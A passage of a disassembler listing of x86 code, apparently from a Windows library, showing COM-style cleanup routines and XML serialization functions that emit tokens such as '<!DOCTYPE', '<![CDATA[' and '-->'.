; sub_69B76CE1+6Fj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B76D8B: ; DATA XREF: .text:69B16778o
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B76DAB
cmp edi, 2
jz short loc_69B76DAB
cmp edi, 4
jle short loc_69B76DCA
cmp edi, 6
jle short loc_69B76DAB
cmp edi, 0Fh
jnz short loc_69B76DCA
loc_69B76DAB: ; CODE XREF: sub_69B76CE1+B4j
; sub_69B76CE1+B9j ...
lea ecx, [esi-8]
call loc_69B76D1D
mov ecx, [esi+4]
push 1
push 0
push dword ptr [esi+10h]
push [esp+10h+arg_8]
push edi
call sub_69B3D2F2
mov [esi+10h], eax
loc_69B76DCA: ; CODE XREF: sub_69B76CE1+BEj
; sub_69B76CE1+C8j
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B76DCF: ; DATA XREF: .text:69B1677Co
mov eax, [esp-4+arg_4]
test eax, eax
push esi
mov esi, ecx
jz short loc_69B76DEE
cmp eax, 2
jz short loc_69B76DEE
cmp eax, 4
jle short loc_69B76E01
cmp eax, 6
jle short loc_69B76DEE
cmp eax, 0Fh
jnz short loc_69B76E01
loc_69B76DEE: ; CODE XREF: sub_69B76CE1+F7j
; sub_69B76CE1+FCj ...
lea ecx, [esi-8]
call loc_69B76D1D
mov ecx, [esi+10h]
mov eax, [ecx]
call dword ptr [eax+64h]
mov [esi+10h], eax
loc_69B76E01: ; CODE XREF: sub_69B76CE1+101j
; sub_69B76CE1+10Bj
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B76E05: ; DATA XREF: .text:69B16784o
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
cmp dword ptr [ecx+8], 0
push edi
jnz short loc_69B76E40
lea edi, [esi+8]
mov eax, [edi]
test eax, eax
jz short loc_69B76E3A
push eax
call sub_69B88EA5
push [esp+arg_8]
mov ecx, [esi+0Ch]
call sub_69B88EA5
push 0
loc_69B76E2F: ; CODE XREF: sub_69B76CE1+15Dj
push edi
call sub_69B17320
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B76E3A: ; CODE XREF: sub_69B76CE1+138j
push [esp+arg_8]
jmp short loc_69B76E2F
; ---------------------------------------------------------------------------
loc_69B76E40: ; CODE XREF: sub_69B76CE1+12Fj
pop edi
pop esi
jmp sub_69B88EA5
; ---------------------------------------------------------------------------
loc_69B76E47: ; DATA XREF: .text:69B16788o
push esi
lea esi, [ecx+8]
mov eax, [esi]
test eax, eax
mov ecx, [ecx+0Ch]
jz short loc_69B76E64
push eax
call sub_69B88EA5
push 0
push esi
call sub_69B17320
jmp short loc_69B76E73
; ---------------------------------------------------------------------------
loc_69B76E64: ; CODE XREF: sub_69B76CE1+171j
push [esp-4+arg_C]
push 0
push [esp+4+arg_8]
call sub_69B88E3F
loc_69B76E73: ; CODE XREF: sub_69B76CE1+181j
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B76E77: ; DATA XREF: .text:69B16790o
push esi
mov esi, ecx
lea ecx, [esi-8]
call loc_69B76D1D
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov ecx, [esi+18h]
push dword ptr [esi+14h]
mov eax, [ecx]
call dword ptr [eax+4]
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B76E9A: ; DATA XREF: .text:69B16774o
sub ecx, 8
jmp loc_69B76CE9
; ---------------------------------------------------------------------------
loc_69B76EA2: ; CODE XREF: sub_69B76CE1+3j
; DATA XREF: .text:69B167A0o
push esi
mov esi, ecx
call sub_69B76EBD
test byte ptr [esp+4+arg_0], 1
jz short loc_69B76EB7
push esi
call sub_69B1829F
loc_69B76EB7: ; CODE XREF: sub_69B76CE1+1CEj
mov eax, esi
pop esi
retn 4
sub_69B76CE1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B76EBD proc near ; CODE XREF: sub_69B76CE1+1C4p
push esi
mov esi, ecx
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B76EBD endp
; =============== S U B R O U T I N E =======================================
sub_69B76EFC proc near ; CODE XREF: sub_69B76082+8p
push 28h
call sub_69B17EF3
test eax, eax
jz short loc_69B76F0E
mov ecx, eax
jmp sub_69B166C0
; ---------------------------------------------------------------------------
loc_69B76F0E: ; CODE XREF: sub_69B76EFC+9j
xor eax, eax
retn 8
sub_69B76EFC endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_69B76F19 proc near ; CODE XREF: sub_69B760B0:loc_69B761D9p
; FUNCTION CHUNK AT 69B167CC SIZE 00000024 BYTES
push 0Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B76F2B
mov ecx, eax
jmp loc_69B167CC
; ---------------------------------------------------------------------------
loc_69B76F2B: ; CODE XREF: sub_69B76F19+9j
xor eax, eax
retn
sub_69B76F19 endp
; =============== S U B R O U T I N E =======================================
sub_69B76F2E proc near ; CODE XREF: sub_69B77080+3j
; DATA XREF: .text:69B168F4o
add ecx, 8
mov eax, [ecx]
jmp dword ptr [eax+50h]
sub_69B76F2E endp
; =============== S U B R O U T I N E =======================================
sub_69B76F36 proc near ; DATA XREF: .text:69B16834o
sub ecx, 8
jmp short sub_69B76F53
sub_69B76F36 endp
; =============== S U B R O U T I N E =======================================
sub_69B76F3B proc near ; DATA XREF: .text:69B12BD0o
; .text:69B12CC8o ...
sub ecx, 8
jmp sub_69B1B57D
sub_69B76F3B endp
; =============== S U B R O U T I N E =======================================
sub_69B76F43 proc near ; DATA XREF: .text:69B12BD4o
; .text:69B12BF4o ...
sub ecx, 8
jmp nullsub_5
sub_69B76F43 endp
; =============== S U B R O U T I N E =======================================
sub_69B76F4B proc near ; DATA XREF: .text:69B12BD8o
; .text:69B12CD0o ...
sub ecx, 8
jmp sub_69B18278
sub_69B76F4B endp
; =============== S U B R O U T I N E =======================================
sub_69B76F53 proc near ; CODE XREF: sub_69B76F36+3j
; DATA XREF: .text:69B167FCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
call sub_69B186FA
test [esp+4+arg_0], 1
jz short loc_69B76F78
push esi
call sub_69B1829F
loc_69B76F78: ; CODE XREF: sub_69B76F53+1Dj
mov eax, esi
pop esi
retn 4
sub_69B76F53 endp
; =============== S U B R O U T I N E =======================================
sub_69B76F7E proc near ; DATA XREF: .text:69B16938o
push esi
mov esi, ecx
mov ecx, [esi+8]
push offset asc_69B270DC ; ">"
call sub_69B8A986
cmp byte ptr [esi+10h], 0
jz short loc_69B76F9D
mov ecx, [esi+8]
pop esi
jmp sub_69B8A709
; ---------------------------------------------------------------------------
loc_69B76F9D: ; CODE XREF: sub_69B76F7E+14j
pop esi
retn
sub_69B76F7E endp
; =============== S U B R O U T I N E =======================================
sub_69B76F9F proc near ; DATA XREF: .text:69B1693Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push dword ptr [eax+8]
mov edx, [ecx]
push dword ptr [eax+0Ch]
call dword ptr [edx+48h]
retn 4
sub_69B76F9F endp
; =============== S U B R O U T I N E =======================================
sub_69B76FB1 proc near ; DATA XREF: .text:69B16944o
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, [esp+8+arg_0]
mov eax, [ecx]
push 1
push 4
call dword ptr [eax+4Ch]
mov esi, eax
push dword ptr [esi+8]
mov eax, [edi]
push dword ptr [esi+0Ch]
mov ecx, edi
call dword ptr [eax+48h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
pop edi
pop esi
retn 4
sub_69B76FB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B76FDD proc near ; DATA XREF: .text:69B16940o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov eax, [esi+0Ch]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B77024
cmp eax, 0Fh
jnz short loc_69B77003
cmp [esi+11h], bl
jz short loc_69B77013
mov ecx, [esi+4]
mov eax, [ecx]
push ebx
call dword ptr [eax]
test al, al
jz short loc_69B77013
loc_69B77003: ; CODE XREF: sub_69B76FDD+13j
push [ebp+arg_4]
mov ecx, [esi+8]
push [ebp+arg_0]
call sub_69B8A920
jmp short loc_69B77072
; ---------------------------------------------------------------------------
loc_69B77013: ; CODE XREF: sub_69B76FDD+18j
; sub_69B76FDD+24j
mov ecx, [esi+8]
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B8A9BB
jmp short loc_69B77072
; ---------------------------------------------------------------------------
loc_69B77024: ; CODE XREF: sub_69B76FDD+Ej
cmp [esi+11h], bl
jnz short loc_69B7702F
mov eax, [esi+8]
mov [eax+0Ch], ebx
loc_69B7702F: ; CODE XREF: sub_69B76FDD+4Aj
mov ecx, [esi+4]
mov eax, [ecx]
push ebx
call dword ptr [eax]
test al, al
mov ecx, [esi+8]
jnz short loc_69B7704D
push 1
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B8A9BB
jmp short loc_69B77058
; ---------------------------------------------------------------------------
loc_69B7704D: ; CODE XREF: sub_69B76FDD+5Fj
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B8A920
loc_69B77058: ; CODE XREF: sub_69B76FDD+6Ej
cmp [esi+11h], bl
jz short loc_69B77072
mov ecx, [esi+4]
mov eax, [ecx]
push 2
call dword ptr [eax]
test al, al
jz short loc_69B77072
mov ecx, [esi+8]
call sub_69B8A709
loc_69B77072: ; CODE XREF: sub_69B76FDD+34j
; sub_69B76FDD+45j ...
pop esi
pop ebx
pop ebp
retn 8
sub_69B76FDD endp
; =============== S U B R O U T I N E =======================================
sub_69B77078 proc near ; DATA XREF: .text:69B16904o
; .text:69B1D59Co
sub ecx, 8
jmp sub_69B1D5D8
sub_69B77078 endp
; =============== S U B R O U T I N E =======================================
sub_69B77080 proc near ; DATA XREF: .text:69B1692Co
sub ecx, 8
jmp sub_69B76F2E
sub_69B77080 endp
; =============== S U B R O U T I N E =======================================
sub_69B77088 proc near ; CODE XREF: sub_69B770D8+46p
; sub_69B770D8+82p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edi, ecx
mov ecx, [eax+0Ch]
test ecx, ecx
mov eax, [eax+8]
mov esi, [eax+14h]
jz short loc_69B770C1
mov eax, [ecx]
push ebx
mov ebx, [edi+10h]
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B8A970
cmp esi, dword_69B95A18
pop ebx
jz short loc_69B770D3
mov ecx, [edi+10h]
push 3Ah
call sub_69B8A903
loc_69B770C1: ; CODE XREF: sub_69B77088+13j
mov eax, [esi]
mov edi, [edi+10h]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B8A970
loc_69B770D3: ; CODE XREF: sub_69B77088+2Dj
pop edi
pop esi
retn 4
sub_69B77088 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B770D8 proc near ; DATA XREF: .text:69B16930o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
cmp edi, 6
mov esi, ecx
jg short loc_69B77138
jz short loc_69B77131
mov eax, edi
sub eax, 0
jz short loc_69B7710E
dec eax
dec eax
jz short loc_69B77107
dec eax
dec eax
jz short loc_69B77100
dec eax
jz short loc_69B77147
jmp loc_69B771AA
; ---------------------------------------------------------------------------
loc_69B77100: ; CODE XREF: sub_69B770D8+1Ej
push offset aDoctype ; "<!DOCTYPE "
jmp short loc_69B77185
; ---------------------------------------------------------------------------
loc_69B77107: ; CODE XREF: sub_69B770D8+1Aj
push offset asc_69B2A520 ; "<!--"
jmp short loc_69B77185
; ---------------------------------------------------------------------------
loc_69B7710E: ; CODE XREF: sub_69B770D8+16j
mov ecx, [esi+8]
push 3Ch
call sub_69B8A903
push [ebp+arg_4]
lea ecx, [esi-8]
call sub_69B77088
mov ecx, [esi+4]
mov eax, [ecx]
push 1
call dword ptr [eax]
mov [esi+10h], al
jmp short loc_69B771A7
; ---------------------------------------------------------------------------
loc_69B77131: ; CODE XREF: sub_69B770D8+Fj
push offset aCdata_0 ; "<![CDATA["
jmp short loc_69B77185
; ---------------------------------------------------------------------------
loc_69B77138: ; CODE XREF: sub_69B770D8+Dj
cmp edi, 0Bh
jz short loc_69B7718F
cmp edi, 0Fh
jz short loc_69B7716B
cmp edi, 12h
jnz short loc_69B771AA
loc_69B77147: ; CODE XREF: sub_69B770D8+21j
mov ecx, [esi+8]
push offset a?_0 ; "<?"
call sub_69B8A986
push [ebp+arg_4]
lea ecx, [esi-8]
call sub_69B77088
mov ecx, [esi+8]
push 20h
call sub_69B8A903
jmp short loc_69B771A7
; ---------------------------------------------------------------------------
loc_69B7716B: ; CODE XREF: sub_69B770D8+68j
mov ecx, [esi+8]
push 20h
call sub_69B8A903
push [ebp+arg_4]
lea ecx, [esi-8]
call sub_69B77088
push offset asc_69B771B4 ; "=\""
loc_69B77185: ; CODE XREF: sub_69B770D8+2Dj
; sub_69B770D8+34j ...
mov ecx, [esi+8]
call sub_69B8A986
jmp short loc_69B771A7
; ---------------------------------------------------------------------------
loc_69B7718F: ; CODE XREF: sub_69B770D8+63j
mov ecx, [esi+8]
push offset dword_69B771B0 ; lpString
call sub_69B8A986
push [ebp+arg_4]
lea ecx, [esi-8]
call sub_69B77088
loc_69B771A7: ; CODE XREF: sub_69B770D8+57j
; sub_69B770D8+91j ...
mov [esi+0Ch], edi
loc_69B771AA: ; CODE XREF: sub_69B770D8+23j
; sub_69B770D8+6Dj
pop edi
pop esi
pop ebp
retn 8
sub_69B770D8 endp
; ---------------------------------------------------------------------------
; const WCHAR dword_69B771B0
dword_69B771B0 dd 26h ; const WCHAR asc_69B771B4
asc_69B771B4: ; DATA XREF: sub_69B770D8+A8o
unicode 0, <=">,0
align 4
; const WCHAR a?_0
a?_0: ; DATA XREF: sub_69B770D8+72o
dw 3Ch
unicode 0, <?>,0
align 4
aCdata_0: ; DATA XREF: sub_69B770D8:loc_69B77131o
dw 3Ch
unicode 0, <![CDATA[>,0
aDoctype: ; DATA XREF: sub_69B770D8:loc_69B77100o
dw 3Ch
unicode 0, <!DOCTYPE >,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B771EE proc near ; DATA XREF: .text:69B16934o
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, [esi+4]
mov eax, [ecx]
push 2
call dword ptr [eax]
mov [ebp+var_1], al
mov eax, [ebp+arg_0]
xor ebx, ebx
cmp eax, 6
jg short loc_69B77263
jz short loc_69B7725C
sub eax, ebx
jz short loc_69B77231
dec eax
dec eax
jz short loc_69B7722A
dec eax
jz short loc_69B77271
dec eax
jz short loc_69B77255
loc_69B7721C: ; CODE XREF: sub_69B771EE+81j
dec eax
jnz loc_69B772A4
push offset a? ; "?>"
jmp short loc_69B7728C
; ---------------------------------------------------------------------------
loc_69B7722A: ; CODE XREF: sub_69B771EE+26j
push offset asc_69B296A4 ; "-->"
jmp short loc_69B7728C
; ---------------------------------------------------------------------------
loc_69B77231: ; CODE XREF: sub_69B771EE+22j
cmp [ebp+arg_8], bl
mov ecx, [esi+8]
jnz short loc_69B77240
push offset asc_69B772B4 ; " />"
jmp short loc_69B7728F
; ---------------------------------------------------------------------------
loc_69B77240: ; CODE XREF: sub_69B771EE+49j
push offset asc_69B2A52C ; "</"
call sub_69B8A986
push [ebp+arg_4]
lea ecx, [esi-8]
call sub_69B77088
loc_69B77255: ; CODE XREF: sub_69B771EE+2Cj
push offset asc_69B270DC ; ">"
jmp short loc_69B7728C
; ---------------------------------------------------------------------------
loc_69B7725C: ; CODE XREF: sub_69B771EE+1Ej
push offset asc_69B772AC ; "]]>"
jmp short loc_69B7728C
; ---------------------------------------------------------------------------
loc_69B77263: ; CODE XREF: sub_69B771EE+1Cj
sub eax, 0Bh
jz short loc_69B77287
sub eax, 4
jz short loc_69B77278
dec eax
dec eax
jnz short loc_69B7721C
loc_69B77271: ; CODE XREF: sub_69B771EE+29j
cmp [esi+0Ch], ebx
jz short loc_69B77294
jmp short loc_69B772A4
; ---------------------------------------------------------------------------
loc_69B77278: ; CODE XREF: sub_69B771EE+7Dj
mov ecx, [esi+8]
push offset asc_69B270E4 ; "\""
call sub_69B8A986
jmp short loc_69B772A1
; ---------------------------------------------------------------------------
loc_69B77287: ; CODE XREF: sub_69B771EE+78j
push offset dword_69B295AC ; lpString
loc_69B7728C: ; CODE XREF: sub_69B771EE+3Aj
; sub_69B771EE+41j ...
mov ecx, [esi+8]
loc_69B7728F: ; CODE XREF: sub_69B771EE+50j
call sub_69B8A986
loc_69B77294: ; CODE XREF: sub_69B771EE+86j
cmp [ebp+var_1], bl
jz short loc_69B772A1
mov ecx, [esi+8]
call sub_69B8A709
loc_69B772A1: ; CODE XREF: sub_69B771EE+97j
; sub_69B771EE+A9j
mov [esi+0Ch], ebx
loc_69B772A4: ; CODE XREF: sub_69B771EE+2Fj
; sub_69B771EE+88j
pop esi
pop ebx
leave
retn 0Ch
sub_69B771EE endp
; ---------------------------------------------------------------------------
align 4
asc_69B772AC: ; DATA XREF: sub_69B771EE:loc_69B7725Co
; .data:69B99310o
unicode 0, <]]>
dw 3Eh
unicode 0, <>,0
asc_69B772B4: ; DATA XREF: sub_69B771EE+4Bo
unicode 0, < />
dw 3Eh
unicode 0, <>,0
; =============== S U B R O U T I N E =======================================
sub_69B772BC proc near ; DATA XREF: .text:69B16948o
push esi
lea esi, [ecx+8]
mov ecx, [esi]
test ecx, ecx
jz short loc_69B772D3
call sub_69B8A828
push 0
push esi
call sub_69B17320
loc_69B772D3: ; CODE XREF: sub_69B772BC+8j
pop esi
retn
sub_69B772BC endp
; =============== S U B R O U T I N E =======================================
sub_69B772D5 proc near ; CODE XREF: sub_69B760B0+85p
; sub_69B760B0+92p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
; FUNCTION CHUNK AT 69B1687C SIZE 00000044 BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B772E7
mov ecx, eax
jmp loc_69B1687C
; ---------------------------------------------------------------------------
loc_69B772E7: ; CODE XREF: sub_69B772D5+9j
xor eax, eax
retn 0Ch
sub_69B772D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B772EC proc near ; DATA XREF: .text:69B22080o
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
mov ebx, ecx
call dword_69B92948
test eax, eax
mov [ebp+var_8], eax
jnz short loc_69B77309
mov eax, 80004005h
jmp short loc_69B77370
; ---------------------------------------------------------------------------
loc_69B77309: ; CODE XREF: sub_69B772EC+14j
push esi
push ebx
push eax
lea ecx, [ebp+var_14]
call sub_69B1B406
mov eax, [ebp+arg_C]
and [ebp+var_4], 0
test eax, eax
jnz short loc_69B77326
mov esi, 80070057h
jmp short loc_69B7735C
; ---------------------------------------------------------------------------
loc_69B77326: ; CODE XREF: sub_69B772EC+31j
and dword ptr [eax], 0
mov esi, [ebp+arg_8]
push edi
push 4
pop ecx
mov edi, offset dword_69B2A534
xor edx, edx
repe cmpsd
pop edi
jnz short loc_69B77345
push ebx
push eax
call sub_69B17320
jmp short loc_69B77359
; ---------------------------------------------------------------------------
loc_69B77345: ; CODE XREF: sub_69B772EC+4Ej
push eax
push [ebp+arg_8]
mov ecx, ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B1C12C
mov [ebp+var_4], eax
loc_69B77359: ; CODE XREF: sub_69B772EC+57j
mov esi, [ebp+var_4]
loc_69B7735C: ; CODE XREF: sub_69B772EC+38j
lea ecx, [ebp+var_14]
call sub_69B1976C
push [ebp+var_8]
call dword_69B92944
mov eax, esi
pop esi
loc_69B77370: ; CODE XREF: sub_69B772EC+1Bj
pop ebx
leave
retn 10h
sub_69B772EC endp
; =============== S U B R O U T I N E =======================================
sub_69B77375 proc near ; DATA XREF: .text:69B220B4o
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp [esi+40h], edi
jz short loc_69B773B9
push edi
call sub_69B3EF04
add esi, 0F0h
mov ecx, [esi]
test ecx, ecx
jz short loc_69B773B9
cmp edi, 4
jnz short loc_69B773B4
call sub_69B78A58
mov ecx, [esi]
call sub_69B7846D
test eax, eax
jz short loc_69B773B9
push 0
mov ecx, eax
call sub_69B79AE9
jmp short loc_69B773B9
; ---------------------------------------------------------------------------
loc_69B773B4: ; CODE XREF: sub_69B77375+22j
call sub_69B78479
loc_69B773B9: ; CODE XREF: sub_69B77375+Bj
; sub_69B77375+1Dj ...
pop edi
pop esi
retn 4
sub_69B77375 endp
; =============== S U B R O U T I N E =======================================
sub_69B773BE proc near ; DATA XREF: .text:69B220B8o
push esi
mov esi, ecx
cmp byte ptr [esi+8Ch], 0
jz short loc_69B7740F
mov ecx, [esi+0F0h]
test ecx, ecx
jz short loc_69B7740F
push edi
call sub_69B7846D
mov ecx, esi
mov edi, eax
call sub_69B3D6C4
test eax, eax
jz short loc_69B77403
test edi, edi
jnz short loc_69B77407
mov ecx, [esi+0F0h]
call sub_69B78A58
mov ecx, [esi+0F0h]
call sub_69B7846D
mov edi, eax
loc_69B77403: ; CODE XREF: sub_69B773BE+27j
test edi, edi
jz short loc_69B7740E
loc_69B77407: ; CODE XREF: sub_69B773BE+2Bj
mov ecx, edi
call sub_69B79588
loc_69B7740E: ; CODE XREF: sub_69B773BE+47j
pop edi
loc_69B7740F: ; CODE XREF: sub_69B773BE+Aj
; sub_69B773BE+14j
mov ecx, esi
pop esi
jmp sub_69B3EDFC
sub_69B773BE endp
; =============== S U B R O U T I N E =======================================
sub_69B77417 proc near ; DATA XREF: .text:69B22090o
push esi
mov esi, ecx
call nullsub_5
mov ecx, [esi+0F0h]
test ecx, ecx
pop esi
jnz sub_69B78A1F
retn
sub_69B77417 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7742F proc near ; DATA XREF: .text:69B220BCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, [esi+0F4h]
test eax, eax
jz short loc_69B7746A
mov ecx, [ebp+arg_C]
test ecx, ecx
jz short loc_69B7746A
mov edx, [ecx+8]
shr edx, 0Ah
test dl, 1
jnz short loc_69B7746A
cmp [ebp+arg_4], 1
jz short loc_69B7746A
push [ebp+arg_10]
mov edx, [eax]
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [edx+0Ch]
loc_69B7746A: ; CODE XREF: sub_69B7742F+Ej
; sub_69B7742F+15j ...
cmp [ebp+arg_4], 2
jnz short loc_69B77477
mov byte ptr [esi+0B2h], 1
loc_69B77477: ; CODE XREF: sub_69B7742F+3Fj
pop esi
pop ebp
retn 14h
sub_69B7742F endp
; =============== S U B R O U T I N E =======================================
sub_69B7747C proc near ; DATA XREF: .text:69B22004o
sub ecx, 24h
jmp sub_69B778BE
sub_69B7747C endp
; ---------------------------------------------------------------------------
loc_69B77484: ; DATA XREF: .text:69B21FBCo
sub ecx, 28h
jmp sub_69B778BE
; =============== S U B R O U T I N E =======================================
sub_69B7748C proc near ; DATA XREF: .text:69B21F7Co
arg_0 = byte ptr 4
sub ecx, 2Ch
jmp sub_69B778BE
sub_69B7748C endp
; =============== S U B R O U T I N E =======================================
sub_69B77494 proc near ; CODE XREF: sub_69B7788E+3j
; sub_69B77896+3j ...
push esi
mov esi, ecx
push 0
lea eax, [esi+0F0h]
push eax
call sub_69B2DEB2
push 0
lea eax, [esi+0F4h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B3EF5A
sub_69B77494 endp
; =============== S U B R O U T I N E =======================================
sub_69B774BB proc near ; CODE XREF: sub_69B778FC+9p
; sub_69B780C6+14p ...
arg_0 = dword ptr 4
lea eax, [ecx+0F4h]
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jnz short locret_69B774D1
push 0
push eax
call sub_69B17320
locret_69B774D1: ; CODE XREF: sub_69B774BB+Cj
retn 4
sub_69B774BB endp
; =============== S U B R O U T I N E =======================================
sub_69B774D4 proc near ; DATA XREF: .text:69B143C4o
push 28h
push offset dword_69B77590
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jnz short loc_69B774F9
mov eax, 80004005h
jmp loc_69B77587
; ---------------------------------------------------------------------------
loc_69B774F9: ; CODE XREF: sub_69B774D4+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov ecx, [ebp+0Ch]
test ecx, ecx
jnz short loc_69B7752B
lea ecx, [ebp-28h]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B77587
; ---------------------------------------------------------------------------
loc_69B7752B: ; CODE XREF: sub_69B774D4+3Fj
and dword ptr [ecx], 0
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov eax, [eax+28h]
mov [ebp-30h], eax
mov [ebp-34h], eax
mov edx, [eax]
push ecx
push offset stru_69B25E34
push eax
call dword ptr [edx]
jmp short loc_69B7756C
; ---------------------------------------------------------------------------
loc_69B7754E: ; DATA XREF: .text:69B77594o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B77557: ; DATA XREF: .text:69B77598o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7756C: ; CODE XREF: sub_69B774D4+78j
mov [ebp-38h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B77587: ; CODE XREF: sub_69B774D4+20j
; sub_69B774D4+55j
call sub_69B1853C
retn 8
sub_69B774D4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B77590 dd 0FFFFFFFFh dd offset loc_69B7754E
dd offset loc_69B77557
; =============== S U B R O U T I N E =======================================
sub_69B7759C proc near ; DATA XREF: .text:69B143C8o
push 28h
push offset dword_69B77670
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B775C1
mov eax, 80004005h
jmp loc_69B77657
; ---------------------------------------------------------------------------
loc_69B775C1: ; CODE XREF: sub_69B7759C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
mov [ebp-2Ch], edi
push offset dword_69B77660
push dword ptr [ebp+0Ch]
call sub_69B2F4B8
mov [ebp-30h], eax
cmp eax, edi
jz short loc_69B77615
push offset dword_69B2A534
push eax
call sub_69B2F4B8
mov [ebp-2Ch], eax
cmp eax, edi
jz short loc_69B77615
mov ecx, [esi+18h]
mov [ebp-34h], ecx
push eax
call sub_69B78DF4
mov [ebp-38h], edi
jmp short loc_69B7763F
; ---------------------------------------------------------------------------
loc_69B77615: ; CODE XREF: sub_69B7759C+54j
; sub_69B7759C+66j
mov dword ptr [ebp-38h], 80070057h
jmp short loc_69B7763F
; ---------------------------------------------------------------------------
loc_69B7761E: ; DATA XREF: .text:69B77674o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B77627: ; DATA XREF: .text:69B77678o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B7763F: ; CODE XREF: sub_69B7759C+77j
; sub_69B7759C+80j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B77657: ; CODE XREF: sub_69B7759C+20j
call sub_69B1853C
retn 8
sub_69B7759C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B77660 dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8hdword_69B77670 dd 0FFFFFFFFh dd offset loc_69B7761E
dd offset loc_69B77627
; =============== S U B R O U T I N E =======================================
sub_69B7767C proc near ; DATA XREF: .text:69B143CCo
push 1Ch
push offset dword_69B77710
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7769E
mov eax, 80004005h
jmp short loc_69B77704
